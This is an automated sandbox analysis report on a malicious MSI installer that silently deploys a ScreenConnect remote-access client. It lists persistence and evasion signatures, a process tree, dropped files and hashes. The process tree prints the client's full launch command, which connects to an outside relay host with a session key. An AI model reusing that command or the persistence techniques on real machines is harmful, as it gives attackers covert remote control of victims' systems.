Analysis

  • max time kernel
    148s
  • max time network
    131s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    30/10/2026, 06:16

General

  • Target
    File.ClientSetup.msi
  • Size 12.8MB
  • Sample261030-g1mfvsde42
  • SHA256 d04c2c5eba37919a94e4e585e970894b8bb3da2c3d2fc0c34e0a2efa6a56db57
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 4 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 2 IoCs
  • Drops file in Program Files directory 19 IoCs
  • Drops file in Windows directory 17 IoCs
  • Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
  • Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\File.ClientSetup.msi
    1⤵
    • Enumerates connected drives
    • Event Triggered Execution: Installer Packages
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    PID:3676
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4140
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 4E81906DD07000CAF174253C8AD918E4 C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:5812
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI27C2.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240724265 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:4508
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:1028
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 7F0F6E1D8AD1393E6C3E6E69A3E5762D
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:4300
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 9D4A19E13BE5A4AB2843CF71996CB729 E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:1048
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:5604
    • C:\Program Files (x86)\ScreenConnect Client (5ad49f8ac9d82b04)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (5ad49f8ac9d82b04)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=relay.stillspring.xyz&p=8041&s=7e10ca9f-0296-429f-89b9-5da613a18476&k=BgIAAACkAABSU0ExAAgAAAEAAQDNPUtvB7fV34tTKBiXvvrCe7rmInvpunbIQ3nQd%2fOVlTCd0YObN0ujTBLfWeEzppwvQoOBjRwRvzekrR3rCJF2Zun0kmJhNF3hLu1B6rgnTpfhkLXAGtnetvfJnANtBsqnrFgbPrT7dnyGsZKzK%2fZ%2faRvcxx7F0%2boltSP1Pjq%2fb8AzDEhyX53pbzex9jkikXmzcqPsZtPfy4BfQwXlNkgttUQucLA%2fWaEJt0894qOoXG%2fDH6mLt53cT6GxJbWej9H2CBCm8UYO4DKlozRuBKf%2bexs21d2zRGBBxwW8cY5dG00A6%2bV8oBa36rVq5ASJ4%2foHH8oou4gTeT%2fjHWQlsPXs"
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • Reads the TCP/IP host and domain name from the registry
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:5916
      • C:\Program Files (x86)\ScreenConnect Client (5ad49f8ac9d82b04)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (5ad49f8ac9d82b04)\ScreenConnect.WindowsClient.exe" "RunRole" "f8fee83c-dce1-48dc-9743-c52f72422dfc" "User"
        2⤵
        • Executes dropped EXE
        PID:4408
      • C:\Program Files (x86)\ScreenConnect Client (5ad49f8ac9d82b04)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (5ad49f8ac9d82b04)\ScreenConnect.WindowsClient.exe" "RunRole" "20d93008-fa45-4fd6-b668-6be3329a1bcd" "System"
        2⤵
        • Executes dropped EXE
        • Reads the TCP/IP host and domain name from the registry
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        PID:948

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads

          e598082.rbs

          • Path C:\Config.Msi\e598082.rbs
          • Size 214KB
          • SHA256 9e9f320edcc943adba0cf5596f6995b62f5523aaf76116e404a329e24f8a8848
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.Override.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (5ad49f8ac9d82b04)\Client.Override.en-US.resources
          • Size 227B
          • SHA256 38bdcc2ec25e7464dde7293b5a6ec64eea4b9d9f6fb8c36fdcc5677a6f55b721
          • MD5 SHA1 SHA512 TLSH

          Client.Override.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (5ad49f8ac9d82b04)\Client.Override.resources
          • Size 33KB
          • SHA256 320d61ce47cb4c4649fda7a64151c83116657c771c4cf1d968a72e2d71cbf031
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (5ad49f8ac9d82b04)\Client.en-US.resources
          • Size 48KB
          • SHA256 07d04e6d5376ffc8d81afe8132e0aa6529cccc5ee789bea53d56c1a2da062be4
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (5ad49f8ac9d82b04)\Client.resources
          • Size 26KB
          • SHA256 de185ee5d433e6cfbb2e5fcc903dbd60cc833a3ca5299f2862b253a41e7aa08c
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Client.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (5ad49f8ac9d82b04)\ScreenConnect.Client.dll
          • Size 192KB
          • SHA256 ea0a545f40ff491d02172228c1a39ae68344c4340a6094486a47be746952e64f
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (5ad49f8ac9d82b04)\ScreenConnect.ClientService.dll
          • Size 66KB
          • SHA256 fd5818dcdf5fc76316b8f7f96630ec66bb1cb5b5a8127cf300e5842f2c74ffca
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (5ad49f8ac9d82b04)\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 f1b5c000794f046259121c63ed37f9eff0cfe1258588eca6fd85e16d3922767e
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsAuthenticationPackage.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (5ad49f8ac9d82b04)\ScreenConnect.WindowsAuthenticationPackage.dll
          • Size 254KB
          • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (5ad49f8ac9d82b04)\ScreenConnect.WindowsClient.exe
          • Size 588KB
          • SHA256 600cf10e27311e60d32722654ef184c031a77b5ae1f8abae8891732710afee31
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe.config

          • Path C:\Program Files (x86)\ScreenConnect Client (5ad49f8ac9d82b04)\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512 TLSH

          ScreenConnect.WindowsCredentialProvider.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (5ad49f8ac9d82b04)\ScreenConnect.WindowsCredentialProvider.dll
          • Size 822KB
          • SHA256 7a80e8f654b9ddb15dda59ac404d83dbaf4f6eafafa7ecbefc55506279de553d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          app.config

          • Path C:\Program Files (x86)\ScreenConnect Client (5ad49f8ac9d82b04)\app.config
          • Size 2KB
          • SHA256 0e1363deb4a78ddb673919723bfbf3b31de2b2621df2f6bfd74c91aad899beca
          • MD5 SHA1 SHA512 TLSH

          system.config

          • Path C:\Program Files (x86)\ScreenConnect Client (5ad49f8ac9d82b04)\system.config
          • Size 949B
          • SHA256 2b26697ae5419f6f44fdccfde2c589247176225d6e504ef58eb883eb7f2514d3
          • MD5 SHA1 SHA512 TLSH

          MSI27C2.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\MSI27C2.tmp
          • Size 1.0MB
          • SHA256 0918d8ab2237368a5cec8ce99261fb07a1a1beeda20464c0f91af0fe3349636b
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Microsoft.Deployment.WindowsInstaller.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI27C2.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI27C2.tmp-\ScreenConnect.Core.dll
          • Size 536KB
          • SHA256 a2e9752de49d18e885cbd61b29905983d44b4bc0379a244bfabdaa3188c01f0a
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.InstallerActions.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI27C2.tmp-\ScreenConnect.InstallerActions.dll
          • Size 11KB
          • SHA256 d727a640723d192aa3ece213a173381682041cb28d8bd71781524dbae3ddbf62
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI27C2.tmp-\ScreenConnect.Windows.dll
          • Size 1.6MB
          • SHA256 84a09ed81afc5ff9a17f81763c044c82a2d9e26f852de528112153ee9ab041d0
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSI87F4.tmp

          • Path C:\Windows\Installer\MSI87F4.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP TLSH

          e598083.msi

          • Path C:\Windows\Installer\e598083.msi
          • Size 12.8MB
          • SHA256 d04c2c5eba37919a94e4e585e970894b8bb3da2c3d2fc0c34e0a2efa6a56db57
          • MD5 SHA1 SHA512 SSDEEP TLSH

          metadata-2

          • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
          • Size 26.1MB
          • SHA256 374d1b6fbb117b3a22b84f86536d07acdbbc5bb71537eb8bc2632b39e6ed1b9f
          • MD5 SHA1 SHA512 SSDEEP TLSH

          {a4a94c53-96a3-402c-a488-5b8867c129fa}_OnDiskSnapshotProp

          • Path \??\Volume{f0fdc120-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{a4a94c53-96a3-402c-a488-5b8867c129fa}_OnDiskSnapshotProp
          • Size 6KB
          • SHA256 4584c23392146e0a1aa095b4a7a0ef0a9825019359bf7805d7a2460a826612b4
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/4408-117-0x00000000000F0000-0x0000000000186000-memory.dmp

          memory/4408-124-0x0000000002580000-0x00000000025C1000-memory.dmp

          memory/4408-123-0x0000000002550000-0x0000000002568000-memory.dmp

          memory/4408-122-0x00000000023B0000-0x00000000023C8000-memory.dmp

          memory/4408-121-0x000000001B6A0000-0x000000001B828000-memory.dmp

          memory/4408-120-0x000000001B360000-0x000000001B50A000-memory.dmp

          memory/4408-119-0x000000001B120000-0x000000001B1AC000-memory.dmp

          memory/4408-118-0x0000000002510000-0x0000000002546000-memory.dmp

          memory/4508-22-0x0000000005BB0000-0x0000000005BBA000-memory.dmp

          memory/4508-18-0x0000000005B80000-0x0000000005BAE000-memory.dmp

          memory/4508-26-0x0000000005C50000-0x0000000005CDC000-memory.dmp

          memory/4508-30-0x0000000005F20000-0x00000000060CA000-memory.dmp

          memory/4508-31-0x0000000006690000-0x0000000006C4A000-memory.dmp

          memory/5916-101-0x0000000004B20000-0x0000000004B56000-memory.dmp

          memory/5916-75-0x0000000002000000-0x0000000002018000-memory.dmp

          memory/5916-106-0x0000000004DF0000-0x0000000004EC2000-memory.dmp

          memory/5916-104-0x0000000004A80000-0x0000000004AC1000-memory.dmp

          memory/5916-97-0x0000000004AD0000-0x0000000004B20000-memory.dmp

          memory/5916-102-0x0000000004C00000-0x0000000004C92000-memory.dmp